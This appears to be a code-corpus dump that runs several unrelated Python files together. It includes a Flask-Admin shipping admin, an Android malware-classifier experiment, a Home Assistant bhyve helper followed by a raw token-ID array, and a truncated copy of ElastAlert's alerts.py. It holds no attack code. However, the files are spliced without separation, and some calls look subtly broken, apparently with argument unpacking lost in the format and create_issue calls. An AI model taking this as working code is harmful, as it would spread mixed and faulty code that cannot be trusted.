ProductCountInfoInlineModelForm(InlineFormAdmin): column_labels = dict(count=u"箱件数", gross_weight_per_box=u"每箱毛重(KG)") class ProductInfoAdmin(LoginRequiredModelView): #inline_models = [(ProductCountInfo, dict(form_columns=['count']))] #inline_models = (ProductCountInfoInlineModelForm(ProductCountInfo),) column_list = ( 'name', 'net_weight', 'gross_weight', 'unit_price', 'unit_per_item', 'tax_code', 'full_name', 'report_name', 'waybill_name', 'routes', 'deprecated') column_labels = dict(name=u"商品名称", net_weight=u"每件净重(KG)", count_infos=u"箱件数 / 毛重 -- 已作废", price_per_kg=u"每千克价格(KG) -- 已作废", full_name=u"全称(设置后无法修改)", deprecated=u"弃用", unit_price=u"单价", gross_weight=u"每件毛重(KG)", tax_code=u"商品税号", billing_unit=u"计费单位", billing_unit_code=u"计费单位代码", unit_per_item=u"单个物品申报数量", specification=u"规格/型号", bc_product_code=u"BC商品编码", bc_specification=u"BC商品规格型号", bc_second_quantity=u"BC第二数量", bc_measurement_unit=u"BC计量单位", bc_second_measurement_unit=u"BC第二计量单位", report_name=u"报单中显示名称", ticket_name=u"小票名称", ticket_price=u"小票单价", waybill_name=u"面单中显示名称", routes=u'线路', dutiable_as_any_4_pieces=u"4罐包含一个及以上该产品则报税", non_dutiable_as_all_6_pieces=u"6罐全是该产品则不报税") can_view_details = True column_default_sort = ('name', False) column_searchable_list = ('name', 'full_name', 'report_name') form_excluded_columns = ('price_per_kg', 'count_infos') def _show_count_infos(view, context, model, name): return Markup(model.count_info_string) column_formatters = { 'count_infos': _show_count_infos, } def on_model_change(self, form, model, is_created): model.name = "".join(model.name.strip().split()) if not is_created: if form.full_name.object_data <> form.full_name.data: model.full_name = form.full_name.object_data else: model.full_name = "".join(model.full_name.strip().split()) def ticket_name_max_length(form, field): if field.data and len(field.data) > 30: raise ValidationError(u"小票名称最长30字符") form_args = dict( ticket_name=dict(validators=[ticket_name_max_length]) ) class RetractionAdmin(LoginRequiredModelView): list_template = "admin/retraction/list.html" can_create = False can_edit = False can_delete = False column_searchable_list = ('uuid', 'timestamp') column_default_sort = ('timestamp', True) column_formatters = { 'timestamp': lambda v, c, m, p: time_format(m.timestamp), } class RouteAdmin(LoginRequiredModelView): column_labels = dict(name=u"名称", code=u"编码", products=u'包含产品') column_list = ('name', 'code', 'products') admin.add_view(SuccessJobAdmin(Job, db.session, endpoint="admin.success_jobs", name=u"生成订单")) admin.add_view(RetractionAdmin(Retraction, db.session, endpoint="admin.success_retraction", name=u"提取订单")) admin.add_view(RouteAdmin(Route, db.session, endpoint="admin.route", name=u"线路管理")) admin.add_view(ProductInfoAdmin(ProductInfo, db.session, endpoint="admin.product_info", name=u"商品信息")) admin.add_view(UnusedOrderAdmin(Order, db.session, endpoint="admin.unused_standard_order", name=u"未使用订单")) admin.add_view(UsedOrderAdmin(Order, db.session, endpoint="admin.used_order", name=u"已生成订单")) admin.add_view(UnretractedOrderAdmin(Order, db.session, endpoint="admin.unretracted_order", name=u"未提取订单")) admin.add_view(RetractedOrderAdmin(Order, db.session, endpoint="admin.retracted_order", name=u"已提取订单")) admin.add_view(FailedJobAdmin(Job, db.session, endpoint="admin.failed_jobs", name=u"错误记录")) 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masters/droidapiminer_timeline.py	markansn/masters_project	0	132242	<filename>masters/droidapiminer_timeline.py<gh_stars>0 import datetime import sys from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import StratifiedKFold sys.path.append("..") from sklearn.svm import LinearSVC from sklearn import metrics as sklearn_metrics from sklearn.feature_extraction.text import TfidfVectorizer as TF from tesseract import evaluation, temporal, metrics, mock, viz import CommonModules as CM import numpy as np from sklearn.model_selection import GridSearchCV import pickle from sklearn.feature_extraction import DictVectorizer from load_features import load_features def main(): X, Y, t = load_features("../droidapiminer_data/apg-droidapiminer") # X = [] # Y = [] # for i, item in enumerate(X1): # if item != {}: # X.append(item) # Y.append(Y1[i]) # t.append(t1[i]) for i in range(0, len(t)): item = t[i] print(item.year) t[i] = datetime.datetime(item.year, 1, 1) print(t) print(len(X)) vec = DictVectorizer() x = vec.fit_transform(X) y = np.asarray(Y) tv = np.asarray(t) print(len(X)) splits = temporal.time_aware_train_test_split( x, y, tv, train_size=24, test_size=1, granularity='month') Parameters = {'C': [0.001, 0.01, 0.1, 1, 10, 100, 1000]} # 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custom_components/bhyve/util.py	allistermaguire/bhyve-home-assistant	0	124537	<reponame>allistermaguire/bhyve-home-assistant import hashlib from homeassistant.util import dt def orbit_time_to_local_time(timestamp: str): if timestamp is not None: return dt.as_local(dt.parse_datetime(timestamp)) return None def anonymize(device): device["address"] = "REDACTED" device["full_location"] = "REDACTED" device["location"] = "REDACTED" return device def pesudo_id_if_smart_program( device_id, program_id, is_smart_program: bool = False ): """ Compute a pesudo ID to ensure the Smart program has a constant ID for events. Devices with multiple zones can change the `program_id` used by the Smart Watering program based on which zones are included in the program. return: pesudo `program_id` for Smart program, otherwise real `program_id`. """ if is_smart_program: program_id = hashlib.md5( f"{device_id}:smart_program".encode('utf-8') ).hexdigest() return program_id	[ 1, 529, 276, 1112, 420, 29958, 497, 1531, 29885, 10617, 533, 29914, 29890, 5819, 345, 29899, 5184, 29899, 465, 22137, 13, 5215, 6608, 1982, 13, 3166, 3271, 465, 22137, 29889, 4422, 1053, 11636, 13, 13, 13, 1753, 16980, 29918, 2230, 29918, 517, 29918, 2997, 29918, 2230, 29898, 16394, 29901, 851, 1125, 13, 1678, 565, 14334, 338, 451, 6213, 29901, 13, 4706, 736, 11636, 29889, 294, 29918, 2997, 29898, 6008, 29889, 5510, 29918, 12673, 29898, 16394, 876, 13, 1678, 736, 6213, 13, 13, 13, 1753, 385, 4735, 675, 29898, 10141, 1125, 13, 1678, 4742, 3366, 7328, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 4742, 3366, 8159, 29918, 5479, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 4742, 3366, 5479, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 736, 4742, 13, 13, 13, 1753, 8928, 5333, 29918, 333, 29918, 361, 29918, 3844, 442, 29918, 8860, 29898, 13, 1678, 4742, 29918, 333, 29892, 1824, 29918, 333, 29892, 338, 29918, 3844, 442, 29918, 8860, 29901, 6120, 353, 7700, 13, 1125, 13, 1678, 9995, 13, 1678, 11796, 29872, 263, 8928, 5333, 3553, 304, 9801, 278, 4116, 442, 1824, 756, 263, 4868, 3553, 363, 4959, 29889, 13, 13, 1678, 9481, 1575, 411, 2999, 20542, 508, 1735, 278, 421, 8860, 29918, 333, 29952, 1304, 491, 278, 4116, 442, 13, 1678, 13062, 292, 1824, 2729, 373, 607, 20542, 526, 5134, 297, 278, 1824, 29889, 13, 1678, 736, 29901, 8928, 5333, 421, 8860, 29918, 333, 29952, 363, 4116, 442, 1824, 29892, 6467, 1855, 421, 8860, 29918, 333, 1412, 13, 1678, 9995, 13, 1678, 565, 338, 29918, 3844, 442, 29918, 8860, 29901, 13, 4706, 1824, 29918, 333, 353, 6608, 1982, 29889, 3487, 29945, 29898, 13, 9651, 285, 29908, 29912, 10141, 29918, 333, 6177, 3844, 442, 29918, 8860, 1642, 12508, 877, 9420, 29899, 29947, 1495, 13, 4706, 13742, 20970, 7501, 342, 580, 13, 1678, 736, 1824, 29918, 333, 13, 2 ]
elastalert/alerts.py	dekhrekh/elastalert	0	1472	<filename>elastalert/alerts.py<gh_stars>0 # -- coding: utf-8 -- import copy import datetime import json import logging import subprocess import sys import warnings from email.mime.text import MIMEText from email.utils import formatdate from smtplib import SMTP from smtplib import SMTP_SSL from smtplib import SMTPAuthenticationError from smtplib import SMTPException from socket import error import boto3 import requests import stomp from exotel import Exotel from jira.client import JIRA from jira.exceptions import JIRAError from requests.exceptions import RequestException from staticconf.loader import yaml_loader from texttable import Texttable from twilio.base.exceptions import TwilioRestException from twilio.rest import Client as TwilioClient from util import EAException from util import elastalert_logger from util import lookup_es_key from util import pretty_ts from util import ts_now from util import ts_to_dt class DateTimeEncoder(json.JSONEncoder): def default(self, obj): if hasattr(obj, 'isoformat'): return obj.isoformat() else: return json.JSONEncoder.default(self, obj) class BasicMatchString(object): """ Creates a string containing fields in match for the given rule. """ def __init__(self, rule, match): self.rule = rule self.match = match def _ensure_new_line(self): while self.text[-2:] != '\n\n': self.text += '\n' def _add_custom_alert_text(self): missing = '<MISSING VALUE>' alert_text = unicode(self.rule.get('alert_text', '')) if 'alert_text_args' in self.rule: alert_text_args = self.rule.get('alert_text_args') alert_text_values = [lookup_es_key(self.match, arg) for arg in alert_text_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_text_values)): if alert_text_values[i] is None: alert_value = self.rule.get(alert_text_args[i]) if alert_value: alert_text_values[i] = alert_value alert_text_values = [missing if val is None else val for val in alert_text_values] alert_text = alert_text.format(alert_text_values) elif 'alert_text_kw' in self.rule: kw = {} for name, kw_name in self.rule.get('alert_text_kw').items(): val = lookup_es_key(self.match, name) # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above if val is None: val = self.rule.get(name) kw[kw_name] = missing if val is None else val alert_text = alert_text.format(kw) self.text += alert_text def _add_rule_text(self): self.text += self.rule['type'].get_match_str(self.match) def _add_top_counts(self): for key, counts in self.match.items(): if key.startswith('top_events_'): self.text += '%s:\n' % (key[11:]) top_events = counts.items() if not top_events: self.text += 'No events found.\n' else: top_events.sort(key=lambda x: x[1], reverse=True) for term, count in top_events: self.text += '%s: %s\n' % (term, count) self.text += '\n' def _add_match_items(self): match_items = self.match.items() match_items.sort(key=lambda x: x[0]) for key, value in match_items: if key.startswith('top_events_'): continue value_str = unicode(value) value_str.replace('\\n', '\n') if type(value) in [list, dict]: try: value_str = self._pretty_print_as_json(value) except TypeError: # Non serializable object, fallback to str pass self.text += '%s: %s\n' % (key, value_str) def _pretty_print_as_json(self, blob): try: return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, ensure_ascii=False) except UnicodeDecodeError: # This blob contains non-unicode, so lets pretend it's Latin-1 to show something return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, encoding='Latin-1', ensure_ascii=False) def __str__(self): self.text = '' if 'alert_text' not in self.rule: self.text += self.rule['name'] + '\n\n' self._add_custom_alert_text() self._ensure_new_line() if self.rule.get('alert_text_type') != 'alert_text_only': self._add_rule_text() self._ensure_new_line() if self.rule.get('top_count_keys'): self._add_top_counts() if self.rule.get('alert_text_type') != 'exclude_fields': self._add_match_items() return self.text class JiraFormattedMatchString(BasicMatchString): def _add_match_items(self): match_items = dict([(x, y) for x, y in self.match.items() if not x.startswith('top_events_')]) json_blob = self._pretty_print_as_json(match_items) preformatted_text = u'{{code:json}}{0}{{code}}'.format(json_blob) self.text += preformatted_text class Alerter(object): """ Base class for types of alerts. :param rule: The rule configuration. """ required_options = frozenset([]) def __init__(self, rule): self.rule = rule # pipeline object is created by ElastAlerter.send_alert() # and attached to each alerters used by a rule before calling alert() self.pipeline = None self.resolve_rule_references(self.rule) def resolve_rule_references(self, root): # Support referencing other top-level rule properties to avoid redundant copy/paste if type(root) == list: # Make a copy since we may be modifying the contents of the structure we're walking for i, item in enumerate(copy.copy(root)): if type(item) == dict or type(item) == list: self.resolve_rule_references(root[i]) else: root[i] = self.resolve_rule_reference(item) elif type(root) == dict: # Make a copy since we may be modifying the contents of the structure we're walking for key, value in root.copy().iteritems(): if type(value) == dict or type(value) == list: self.resolve_rule_references(root[key]) else: root[key] = self.resolve_rule_reference(value) def resolve_rule_reference(self, value): strValue = unicode(value) if strValue.startswith('$') and strValue.endswith('$') and strValue[1:-1] in self.rule: if type(value) == int: return int(self.rule[strValue[1:-1]]) else: return self.rule[strValue[1:-1]] else: return value def alert(self, match): """ Send an alert. Match is a dictionary of information about the alert. :param match: A dictionary of relevant information to the alert. """ raise NotImplementedError() def get_info(self): """ Returns a dictionary of data related to this alert. At minimum, this should contain a field type corresponding to the type of Alerter. """ return {'type': 'Unknown'} def create_title(self, matches): """ Creates custom alert title to be used, e.g. as an e-mail subject or JIRA issue summary. :param matches: A list of dictionaries of relevant information to the alert. """ if 'alert_subject' in self.rule: return self.create_custom_title(matches) return self.create_default_title(matches) def create_custom_title(self, matches): alert_subject = unicode(self.rule['alert_subject']) if 'alert_subject_args' in self.rule: alert_subject_args = self.rule['alert_subject_args'] alert_subject_values = [lookup_es_key(matches[0], arg) for arg in alert_subject_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_subject_values)): if alert_subject_values[i] is None: alert_value = self.rule.get(alert_subject_args[i]) if alert_value: alert_subject_values[i] = alert_value alert_subject_values = ['<MISSING VALUE>' if val is None else val for val in alert_subject_values] return alert_subject.format(alert_subject_values) return alert_subject def create_alert_body(self, matches): body = self.get_aggregation_summary_text(matches) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = '' if 'aggregation' in self.rule and 'summary_table_fields' in self.rule: summary_table_fields = self.rule['summary_table_fields'] if not isinstance(summary_table_fields, list): summary_table_fields = [summary_table_fields] # Include a count aggregation so that we can see at a glance how many of each aggregation_key were encountered summary_table_fields_with_count = summary_table_fields + ['count'] text += "Aggregation resulted in the following data for summary_table_fields ==> {0}:\n\n".format( summary_table_fields_with_count ) text_table = Texttable() text_table.header(summary_table_fields_with_count) match_aggregation = {} # Maintain an aggregate count for each unique key encountered in the aggregation period for match in matches: key_tuple = tuple([unicode(lookup_es_key(match, key)) for key in summary_table_fields]) if key_tuple not in match_aggregation: match_aggregation[key_tuple] = 1 else: match_aggregation[key_tuple] = match_aggregation[key_tuple] + 1 for keys, count in match_aggregation.iteritems(): text_table.add_row([key for key in keys] + [count]) text += text_table.draw() + '\n\n' return unicode(text) def create_default_title(self, matches): return self.rule['name'] def get_account(self, account_file): """ Gets the username and password from an account file. :param account_file: Name of the file which contains user and password information. """ account_conf = yaml_loader(account_file) if 'user' not in account_conf or 'password' not in account_conf: raise EAException('Account file must have user and password fields') self.user = account_conf['user'] self.password = account_conf['password'] class StompAlerter(Alerter): """ The stomp alerter publishes alerts via stomp to a broker. """ required_options = frozenset(['stomp_hostname', 'stomp_hostport', 'stomp_login', 'stomp_password']) def alert(self, matches): alerts = [] qk = self.rule.get('query_key', None) fullmessage = {} for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '1)Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = match[qk] else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '2)Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = lookup_es_key(match, self.rule['timestamp_field']) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) fullmessage['alerts'] = alerts fullmessage['rule'] = self.rule['name'] fullmessage['matching'] = unicode(BasicMatchString(self.rule, match)) fullmessage['alertDate'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") fullmessage['body'] = self.create_alert_body(matches) self.stomp_hostname = self.rule.get('stomp_hostname', 'localhost') self.stomp_hostport = self.rule.get('stomp_hostport', '61613') self.stomp_login = self.rule.get('stomp_login', 'admin') self.stomp_password = self.rule.get('stomp_password', '<PASSWORD>') self.stomp_destination = self.rule.get('stomp_destination', '/queue/ALERT') conn = stomp.Connection([(self.stomp_hostname, self.stomp_hostport)]) conn.start() conn.connect(self.stomp_login, self.stomp_password) conn.send(self.stomp_destination, json.dumps(fullmessage)) conn.disconnect() def get_info(self): return {'type': 'stomp'} class DebugAlerter(Alerter): """ The debug alerter uses a Python logger (by default, alerting to terminal). """ def alert(self, matches): qk = self.rule.get('query_key', None) for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) def get_info(self): return {'type': 'debug'} class EmailAlerter(Alerter): """ Sends an email alert """ required_options = frozenset(['email']) def __init__(self, args): super(EmailAlerter, self).__init__(args) self.smtp_host = self.rule.get('smtp_host', 'localhost') self.smtp_ssl = self.rule.get('smtp_ssl', False) self.from_addr = self.rule.get('from_addr', 'ElastAlert') self.smtp_port = self.rule.get('smtp_port') if self.rule.get('smtp_auth_file'): self.get_account(self.rule['smtp_auth_file']) self.smtp_key_file = self.rule.get('smtp_key_file') self.smtp_cert_file = self.rule.get('smtp_cert_file') # Convert email to a list if it isn't already if isinstance(self.rule['email'], basestring): self.rule['email'] = [self.rule['email']] # If there is a cc then also convert it a list if it isn't cc = self.rule.get('cc') if cc and isinstance(cc, basestring): self.rule['cc'] = [self.rule['cc']] # If there is a bcc then also convert it to a list if it isn't bcc = self.rule.get('bcc') if bcc and isinstance(bcc, basestring): self.rule['bcc'] = [self.rule['bcc']] add_suffix = self.rule.get('email_add_domain') if add_suffix and not add_suffix.startswith('@'): self.rule['email_add_domain'] = '@' + add_suffix def alert(self, matches): body = self.create_alert_body(matches) # Add JIRA ticket if it exists if self.pipeline is not None and 'jira_ticket' in self.pipeline: url = '%s/browse/%s' % (self.pipeline['jira_server'], self.pipeline['jira_ticket']) body += '\nJIRA ticket: %s' % (url) to_addr = self.rule['email'] if 'email_from_field' in self.rule: recipient = lookup_es_key(matches[0], self.rule['email_from_field']) if isinstance(recipient, basestring): if '@' in recipient: to_addr = [recipient] elif 'email_add_domain' in self.rule: to_addr = [recipient + self.rule['email_add_domain']] elif isinstance(recipient, list): to_addr = recipient if 'email_add_domain' in self.rule: to_addr = [name + self.rule['email_add_domain'] for name in to_addr] email_msg = MIMEText(body.encode('UTF-8'), _charset='UTF-8') email_msg['Subject'] = self.create_title(matches) email_msg['To'] = ', '.join(to_addr) email_msg['From'] = self.from_addr email_msg['Reply-To'] = self.rule.get('email_reply_to', email_msg['To']) email_msg['Date'] = formatdate() if self.rule.get('cc'): email_msg['CC'] = ','.join(self.rule['cc']) to_addr = to_addr + self.rule['cc'] if self.rule.get('bcc'): to_addr = to_addr + self.rule['bcc'] try: if self.smtp_ssl: if self.smtp_port: self.smtp = SMTP_SSL(self.smtp_host, self.smtp_port, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: self.smtp = SMTP_SSL(self.smtp_host, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: if self.smtp_port: self.smtp = SMTP(self.smtp_host, self.smtp_port) else: self.smtp = SMTP(self.smtp_host) self.smtp.ehlo() if self.smtp.has_extn('STARTTLS'): self.smtp.starttls(keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) if 'smtp_auth_file' in self.rule: self.smtp.login(self.user, self.password) except (SMTPException, error) as e: raise EAException("Error connecting to SMTP host: %s" % (e)) except SMTPAuthenticationError as e: raise EAException("SMTP username/password rejected: %s" % (e)) self.smtp.sendmail(self.from_addr, to_addr, email_msg.as_string()) self.smtp.close() elastalert_logger.info("Sent email to %s" % (to_addr)) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) # If the rule has a query_key, add that value plus timestamp to subject if 'query_key' in self.rule: qk = matches[0].get(self.rule['query_key']) if qk: subject += ' - %s' % (qk) return subject def get_info(self): return {'type': 'email', 'recipients': self.rule['email']} class JiraAlerter(Alerter): """ Creates a Jira ticket for each alert """ required_options = frozenset(['jira_server', 'jira_account_file', 'jira_project', 'jira_issuetype']) # Maintain a static set of built-in fields that we explicitly know how to set # For anything else, we will do best-effort and try to set a string value known_field_list = [ 'jira_account_file', 'jira_assignee', 'jira_bump_after_inactivity', 'jira_bump_in_statuses', 'jira_bump_not_in_statuses', 'jira_bump_tickets', 'jira_component', 'jira_components', 'jira_description', 'jira_ignore_in_title', 'jira_issuetype', 'jira_label', 'jira_labels', 'jira_max_age', 'jira_priority', 'jira_project', 'jira_server', 'jira_watchers', ] # Some built-in jira types that can be used as custom fields require special handling # Here is a sample of one of them: # {"id":"customfield_12807","name":"My Custom Field","custom":true,"orderable":true,"navigable":true,"searchable":true, # "clauseNames":["cf[12807]","My Custom Field"],"schema":{"type":"array","items":"string", # "custom":"com.atlassian.jira.plugin.system.customfieldtypes:multiselect","customId":12807}} # There are likely others that will need to be updated on a case-by-case basis custom_string_types_with_special_handling = [ 'com.atlassian.jira.plugin.system.customfieldtypes:multicheckboxes', 'com.atlassian.jira.plugin.system.customfieldtypes:multiselect', 'com.atlassian.jira.plugin.system.customfieldtypes:radiobuttons', ] def __init__(self, rule): super(JiraAlerter, self).__init__(rule) self.server = self.rule['jira_server'] self.get_account(self.rule['jira_account_file']) self.project = self.rule['jira_project'] self.issue_type = self.rule['jira_issuetype'] # We used to support only a single component. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.components = self.rule.get('jira_components', self.rule.get('jira_component')) # We used to support only a single label. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.labels = self.rule.get('jira_labels', self.rule.get('jira_label')) self.description = self.rule.get('jira_description', '') self.assignee = self.rule.get('jira_assignee') self.max_age = self.rule.get('jira_max_age', 30) self.priority = self.rule.get('jira_priority') self.bump_tickets = self.rule.get('jira_bump_tickets', False) self.bump_not_in_statuses = self.rule.get('jira_bump_not_in_statuses') self.bump_in_statuses = self.rule.get('jira_bump_in_statuses') self.bump_after_inactivity = self.rule.get('jira_bump_after_inactivity', self.max_age) self.watchers = self.rule.get('jira_watchers') if self.bump_in_statuses and self.bump_not_in_statuses: msg = 'Both jira_bump_in_statuses (%s) and jira_bump_not_in_statuses (%s) are set.' % \ (','.join(self.bump_in_statuses), ','.join(self.bump_not_in_statuses)) intersection = list(set(self.bump_in_statuses) & set(self.bump_in_statuses)) if intersection: msg = '%s Both have common statuses of (%s). As such, no tickets will ever be found.' % ( msg, ','.join(intersection)) msg += ' This should be simplified to use only one or the other.' logging.warning(msg) self.jira_args = {'project': {'key': self.project}, 'issuetype': {'name': self.issue_type}} if self.components: # Support single component or list if type(self.components) != list: self.jira_args['components'] = [{'name': self.components}] else: self.jira_args['components'] = [{'name': component} for component in self.components] if self.labels: # Support single label or list if type(self.labels) != list: self.labels = [self.labels] self.jira_args['labels'] = self.labels if self.watchers: # Support single watcher or list if type(self.watchers) != list: self.watchers = [self.watchers] if self.assignee: self.jira_args['assignee'] = {'name': self.assignee} try: self.client = JIRA(self.server, basic_auth=(self.user, self.password)) self.get_priorities() self.get_arbitrary_fields() except JIRAError as e: # JIRAError may contain HTML, pass along only first 1024 chars raise EAException("Error connecting to JIRA: %s" % (str(e)[:1024])) try: if self.priority is not None: self.jira_args['priority'] = {'id': self.priority_ids[self.priority]} except KeyError: logging.error("Priority %s not found. Valid priorities are %s" % (self.priority, self.priority_ids.keys())) def get_arbitrary_fields(self): # This API returns metadata about all the fields defined on the jira server (built-ins and custom ones) fields = self.client.fields() for jira_field, value in self.rule.iteritems(): # If we find a field that is not covered by the set that we are aware of, it means it is either: # 1. A built-in supported field in JIRA that we don't have on our radar # 2. A custom field that a JIRA admin has configured if jira_field.startswith('jira_') and jira_field not in self.known_field_list: # Remove the jira_ part. Convert underscores to spaces normalized_jira_field = jira_field[5:].replace('_', ' ').lower() # All jira fields should be found in the 'id' or the 'name' field. Therefore, try both just in case for identifier in ['name', 'id']: field = next((f for f in fields if normalized_jira_field == f[identifier].replace('_', ' ').lower()), None) if field: break if not field: # Log a warning to ElastAlert saying that we couldn't find that type? # OR raise and fail to load the alert entirely? Probably the latter... raise Exception("Could not find a definition for the jira field '{0}'".format(normalized_jira_field)) arg_name = field['id'] # Check the schema information to decide how to set the value correctly # If the schema information is not available, raise an exception since we don't know how to set it # Note this is only the case for two built-in types, id: issuekey and id: thumbnail if not ('schema' in field or 'type' in field['schema']): raise Exception("Could not determine schema information for the jira field '{0}'".format(normalized_jira_field)) arg_type = field['schema']['type'] # Handle arrays of simple types like strings or numbers if arg_type == 'array': # As a convenience, support the scenario wherein the user only provides # a single value for a multi-value field e.g. jira_labels: Only_One_Label if type(value) != list: value = [value] array_items = field['schema']['items'] # Simple string types if array_items in ['string', 'date', 'datetime']: # Special case for multi-select custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = [{'value': v} for v in value] else: self.jira_args[arg_name] = value elif array_items == 'number': self.jira_args[arg_name] = [int(v) for v in value] # Also attempt to handle arrays of complex types that have to be passed as objects with an identifier 'key' elif array_items == 'option': self.jira_args[arg_name] = [{'value': v} for v in value] else: # Try setting it as an object, using 'name' as the key # This may not work, as the key might actually be 'key', 'id', 'value', or something else # If it works, great! If not, it will manifest itself as an API error that will bubble up self.jira_args[arg_name] = [{'name': v} for v in value] # Handle non-array types else: # Simple string types if arg_type in ['string', 'date', 'datetime']: # Special case for custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = {'value': value} else: self.jira_args[arg_name] = value # Number type elif arg_type == 'number': self.jira_args[arg_name] = int(value) elif arg_type == 'option': self.jira_args[arg_name] = {'value': value} # Complex type else: self.jira_args[arg_name] = {'name': value} def get_priorities(self): """ Creates a mapping of priority index to id. """ priorities = self.client.priorities() self.priority_ids = {} for x in range(len(priorities)): self.priority_ids[x] = priorities[x].id def set_assignee(self, assignee): self.assignee = assignee if assignee: self.jira_args['assignee'] = {'name': assignee} elif 'assignee' in self.jira_args: self.jira_args.pop('assignee') def find_existing_ticket(self, matches): # Default title, get stripped search version if 'alert_subject' not in self.rule: title = self.create_default_title(matches, True) else: title = self.create_title(matches) if 'jira_ignore_in_title' in self.rule: title = title.replace(matches[0].get(self.rule['jira_ignore_in_title'], ''), '') # This is necessary for search to work. Other special characters and dashes # directly adjacent to words appear to be ok title = title.replace(' - ', ' ') title = title.replace('\\', '\\\\') date = (datetime.datetime.now() - datetime.timedelta(days=self.max_age)).strftime('%Y-%m-%d') jql = 'project=%s AND summary~"%s" and created >= "%s"' % (self.project, title, date) if self.bump_in_statuses: jql = '%s and status in (%s)' % (jql, ','.join(self.bump_in_statuses)) if self.bump_not_in_statuses: jql = '%s and status not in (%s)' % (jql, ','.join(self.bump_not_in_statuses)) try: issues = self.client.search_issues(jql) except JIRAError as e: logging.exception("Error while searching for JIRA ticket using jql '%s': %s" % (jql, e)) return None if len(issues): return issues[0] def comment_on_ticket(self, ticket, match): text = unicode(JiraFormattedMatchString(self.rule, match)) timestamp = pretty_ts(lookup_es_key(match, self.rule['timestamp_field'])) comment = "This alert was triggered again at %s\n%s" % (timestamp, text) self.client.add_comment(ticket, comment) def alert(self, matches): title = self.create_title(matches) if self.bump_tickets: ticket = self.find_existing_ticket(matches) if ticket: inactivity_datetime = ts_now() - datetime.timedelta(days=self.bump_after_inactivity) if ts_to_dt(ticket.fields.updated) >= inactivity_datetime: if self.pipeline is not None: self.pipeline['jira_ticket'] = None self.pipeline['jira_server'] = self.server return None elastalert_logger.info('Commenting on existing ticket %s' % (ticket.key)) for match in matches: try: self.comment_on_ticket(ticket, match) except JIRAError as e: logging.exception("Error while commenting on ticket %s: %s" % (ticket, e)) if self.pipeline is not None: self.pipeline['jira_ticket'] = ticket self.pipeline['jira_server'] = self.server return None self.jira_args['summary'] = title self.jira_args['description'] = self.create_alert_body(matches) try: self.issue = self.client.create_issue(*self.jira_args) # You can not add watchers on initial creation. Only as a follow-up action if self.watchers: for watcher in self.watchers: try: self.client.add_watcher(self.issue.key, watcher) except Exception as ex: # Re-raise the exception, preserve the stack-trace, and give some # context as to which watcher failed to be added raise Exception( "Exception encountered when trying to add '{0}' as a watcher. Does the user exist?\n{1}" .format( watcher, ex )), None, sys.exc_info()[2] except JIRAError as e: raise EAException("Error creating JIRA ticket using jira_args (%s): %s" % (self.jira_args, e)) elastalert_logger.info("Opened Jira ticket: %s" % (self.issue)) if self.pipeline is not None: self.pipeline['jira_ticket'] = self.issue self.pipeline['jira_server'] = self.server def create_alert_body(self, matches): body = self.description + '\n' body += self.get_aggregation_summary_text(matches) for match in matches: body += unicode(JiraFormattedMatchString(self.rule, match)) if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = super(JiraAlerter, self).get_aggregation_summary_text(matches) if text: text = u'{{noformat}}{0}{{noformat}}'.format(text) return text def create_default_title(self, matches, for_search=False): # If there is a query_key, use that in the title if 'query_key' in self.rule and lookup_es_key(matches[0], self.rule['query_key']): title = 'ElastAlert: %s matched %s' % (lookup_es_key(matches[0], self.rule['query_key']), self.rule['name']) else: title = 'ElastAlert: %s' % (self.rule['name']) if for_search: return title title += ' - %s' % (pretty_ts(matches[0][self.rule['timestamp_field']], self.rule.get('use_local_time'))) # Add count for spikes count = matches[0].get('spike_count') if count: title += ' - %s+ events' % (count) return title def get_info(self): return {'type': 'jira'} class CommandAlerter(Alerter): required_options = set(['command']) def __init__(self, args): super(CommandAlerter, self).__init__(args) self.last_command = [] self.shell = False if isinstance(self.rule['command'], basestring): self.shell = True if '%' in self.rule['command']: logging.warning('Warning! You could be vulnerable to shell injection!') self.rule['command'] = [self.rule['command']] self.new_style_string_format = False if 